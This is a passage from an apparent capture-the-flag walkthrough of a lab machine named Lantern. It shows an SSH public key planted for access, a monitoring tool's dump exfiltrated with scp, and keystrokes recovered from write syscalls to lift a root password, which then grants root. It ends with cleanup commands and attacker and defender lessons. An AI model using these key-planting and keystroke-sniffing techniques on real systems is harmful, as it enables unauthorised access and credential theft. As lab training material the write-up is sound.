On the attacker host, generate a key pair and set permissions:

ssh-keygen -t rsa -b 4096 -f ./id_rsa -N 'blueJ@Y'
chmod 600 ./id_rsa
base64 -w 0 id_rsa.pub  # Copy output to clipboard

On the target host as tomas, plant the public key:

echo 'c3NoLXJz...mE1djK' | base64 -d >> /home/tomas/.ssh/authorized_keys

Connect to the target with SSH:

ssh -i ./id_rsa tomas@$RADDR  # Use passphrase 'blueJ@Y'

Next, from the attacker machine, set permissions on the exfiltrated private key, and use it to connect:

vim ./id_rsa  # Paste the private key into this file
chmod 600 ./id_rsa
ssh -i ./id_rsa tomas@$RADDR

SSH as tomas

Oh interesting - tomas has some mail!

ROOT FLAG

Local enumeration - tomas

As shown above, the SSH connection greeted us with a notification that we have mail. We can see the message by reading /var/mail/tomas:

Hi Tomas,

Congratulations on joining the Lantern team as a Linux Engineer! We’re thrilled to have you on board.

While we’re setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you’ll have all the access you need.

Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.

Exciting times ahead!

Best.

This is a bit odd, because we can’t actually access /root/automation.sh:

cant access root automation

Checking sudo -l though, it seems we have access to one thing:

User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon

Procmon

I’ve never heard of procmon, so I checked the help text:

procmon options

It seems to be a process monitor. Kind of a worse version of htop:

procmon

This program isn’t present on my attacker host, and it isn’t even in my package manager’s repos, so did a little searching online to see what it’s about.

Pretty quickly, I found a repo on Github that looks like a perfect match.

Here’s a sample of the info we can get from each process using procmon:

info from procmon

Basically, we have access to all information that we could otherwise obtain using strace.

As shown in the procmon screenshot, there’s also an Export feature. It dumps everything into a file in the working directory:

procmon export 1

# move the file to give it an easier name
mv procmon_2024-08-21_08\:05\:42.db procmon-dump.db

The target doesn’t have sqlite3, so let’s exfil the file:

cd loot
scp -i id_rsa tomas@$RADDR:/tmp/.Tools/procmon-dump.db .

Evidence of sudo

Since we can access pretty much everything that we’d normally be able to see using strace, why not just look for evidence of somebody else using sudo? Surely there are other processes running on this box that are using an elevated shell already, right? And if so, can I catch them passing root credentials as keystrokes?

Initially, I pursued this idea by looking for evidence of someone typing in a password for a sudo command. I filtered the procmon screen for “sudo” and checked every write syscall.

But if you’re pretty linux-savvy, you’ll know that’s not a good way to do it 😉

As a demonstration, here’s a screenshot of me attempting sudo cat /etc/shadow without using my root password:

local strace example

i.e. it might be more effective to check for calls to getuid, geteuid, setuid, seteuid, and their gid equivalents too.

Personally I’d rather work with the database from the Export than use the procmon UI, so I opened DBeaver and made a new SQLite connection to the exfil’d database. (Everything I’m about to do could also be done from the sqlite3 CLI, but it’s slightly more convenient to do it within DBeaver.)

Looking around the database, I see that the main table is ebpf. There is also a stats table that shows the 10 most common syscalls, but that doesn’t help us. Th ebpf table has a column indicating the syscall of each process; let’s generate our own “stats” table:

SELECT syscall, COUNT(*) as count
FROM ebpf
GROUP BY syscall ORDER BY count DESC;

syscall counts

The fact that there’s 1 of each of the uid/gid related syscalls got me a bit excited, but it turned out to not be important. Likewise, I found a few execve calls, but they didn’t seem like they led anywhere in particular…

There is a lot of data in this export. I think I’ll need to take a more targetted approach to find the privesc vector. 🤔

Finding the right process

It would help a lot if I could narrow down a certain syscall or a certain PID to examine. procmon seems to gather hundreds of events every second, so it’s way too much to sift through in real time.

I’ll run through my usual local enumeration procedure to see if I notice anything, or if it gives any ideas 🔍

I’m kicking myself for not checking earlier, but obviously checking ps aux and ps -e would be a fantastic place to look for suspicious processes. So would pspy. A quick check to who indicates that I’m pts/1, so who is on pts/0? Look what file they’re modifying:

processes running

Very interesting. We already know from earlier that /root/automation.sh is of particular importance on this box, so that seems like the perfect process to check for!

Procmon again

Since we know exactly which PID to examine, let’s filter procmon for exactly that one:

sudo /usr/bin/procmon -p 6992

I’ll let this run for a little while.

Since we’re only watching one process, procmon isn’t gathering events nearly as fast as earlier. I’ll wait for a few thousand events to accumulate, then Export again and exfil the file back to my attacker host 🕐

Again, I’ll use DBeaver to analyze the results. The ebpf table makes a little more sense if I sort it by syscall then by timestamp, so that the syscalls are clustered but chronological. This is the “filter” to use:

syscall not null order by syscall, timestamp

sorted syscalls

At least now we can see that the events are very, very repetitive. There are a lot of poll, read, and rt_sigaction events that are pretty much the same, but then there are some write calls that actually have some discernible data in the arguments. The first thing that caught my eye was the echo in them:

write syscalls unfiltered

Almost all of the write events start with some whitespace followed by a [ and a few characters after the bracket - this is probably a control character?

If you’ve ever accidentally messed up your tty settings, you might have seen control characters in action. They are used for all kinds of things, like moving the virtual cursor around and changing text properties.

But note that some of the events actually have a printable character preceding the control character. That’s very interesting. Moreover, it seems like when that printable character exists, it’s always in the same position of the text (either the 9th or 10th character).

If we really focus on the events that have a printable character, we can see that it correlates to the rows that have a resultcode equal to either 1 or 2 - Let’s narrow down the dataset even further:

syscall like "write" and resultcode > 0 and resultcode < 3	 order by syscall, timestamp

filtered write syscalls

😮 Whoa - we found something! Check out the printable characters preceding the control character. They spell out sudo ./backup.sh. And the text keeps going after that, too.

Our suspicion is confirmed - We’re looking at someone’s keystrokes!

Let’s refine our query a little more to try to isolate just the important characters:

select 
	resultcode, 
	syscall, 
	arguments, 
	substr(rtrim(substr(arguments,9,2), '['), -1, 1) as character 
from ebpf 
where 
	syscall like "write" and 
	resultcode > 0 and 
	resultcode < 3 
order by timestamp ASC

isolated characters in syscalls

Unbelievable! We’ve caught a whole shell command being run within nano. I can’t fit it all in one screenshot, but it spells out this:

echo Q3Eddtdw3pMB | sudo ./backup.sh

🤑 That must be the root password, given how it’s being used. Let’s try it:

su  # use password Q3Eddtdw3pMB

root shell

🎉 It worked! We have a root shell. Finish off the box by reading the root flag:

cat /root/root.txt

EXTRA CREDIT

Root scripts

In the previous screenshot, we saw bot.exp in the /root directory. You may have also noticed earlier, that this is the process that was running nano and entering the root password:

bot.exp

Expect is a way of automating interaction with other applications, and uses its own scripting language. Out of interest, I took a look at this script to see how it worked:

spawn nano /root/automation.sh
set text "echo Q3Eddtdw3pMB | sudo ./backup.sh"
while {1} {
    foreach char [split $text ""] {
        send "$char"
        sleep 1
    }
    send "\r"
    sleep 0.5
    for {set i 0} {$i < [string length $text]} {incr i} {
        send "\b \b"  ;
    }
    send "\r"
}

I was also curious about the cleanup script. If you’ve followed along with the walkthrough until now, you know that the admin dashboard kicks you out, over and over. Since Blazor is based on websockets, could they not just have established a socket session?

Actually, to do that, they would have had to use some other kind of mechanism for storing the sessions - probably something like Redis or memcached.

But if the developer did that, inevitably this would have also had to be part of the cleanup script… kind of a Catch-22!

Regardless, this was the line in the cleanup script that was responsible for all the Admin dashboard resets:

/usr/sbin/service blazor-server restart

CLEANUP

Target

I’ll get rid of the spot where I put my procmon dumps, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

The procmon dumps that I transferred to my attacker host were also quite large. I’ll delete them, just to save disk space:

rm loot/procmon-dump*

Also I’ll manually get rid of my /etc/hosts entry.

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 🪲 Keep going after finding one vulnerability in a web app. ​I have to remind myself of this all the time. My tendency is to dive into a vulnerability to try to figure out how to exploit it, rather than taking a methodical breadth-first approach. On the admin panel of Lantern, the three vulnerabilities only really became useful when you combine them all together.
  • 🔑 Check for SSH keys before planting your own. It’s a very minor mistake, but is also easily avoidable. It’s sneakier to log in using a key that’s already present.
  • Don’t skip your usual enumeration procedure. Even when you think you’ve noticed a sure-fire way to gain a foothold, or to privesc to root or anything, don’t skip steps. On this box, I accidentally wasted a lot of time on the root privesc, because I failed to notice the nano /root/automation.sh process running as pts/0. If I would have done my usual enumeration procecedure (which involves checking the running processes), I would have noticed this much sooner.
two crossed swords

Defender

  • 🤖 All services accessible over the internet should run as a service account. On Lantern, the admin dashboard was running as a human user, tomas. Creating a low-privilege account for the webserver would have been a much better idea: it affords a hacker far fewer possibilities during an attack, and mitigates the consequences of a successful attack (if one is possible).

  • 🏦 Maintain a barrier between client and server regarding trusted data. In two places on Lantern, we abused the trust relationship that the developer had placed in client-held data: first the filepath of the Upload Content tool on the dashboard, then again on the IndexedDB of the InternalLantern service. Think of what data should be allowed to flow between server and client, and never allow untrusted information to be accidentally trusted, or vise versa!

  • 🔐 Generate SSH keys on the remote host then use a trusted side-channel to plant the public key. This should be the first step of setting up any new host or account. If you get lazy and generate the private key on the local host (the one running sshd) then you must (at least) delete the private key afterwards. Key management can be complicated, but it’s very important.

  • 🙊 Beware echoed passwords. There’s a very good reason why keystrokes on password-entry fields are not echoed (or are replaced by dots or asterisks), and this box demonstrated that reason very well. Usually, even the root user does not have direct access to someone’s passwords - in a normal environment all they can really access is the password hash. However, when a password gets echoed, anyone spying on the terminal session, watching a remote connection, or even observing syscalls, can discern the text that’s being entered.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake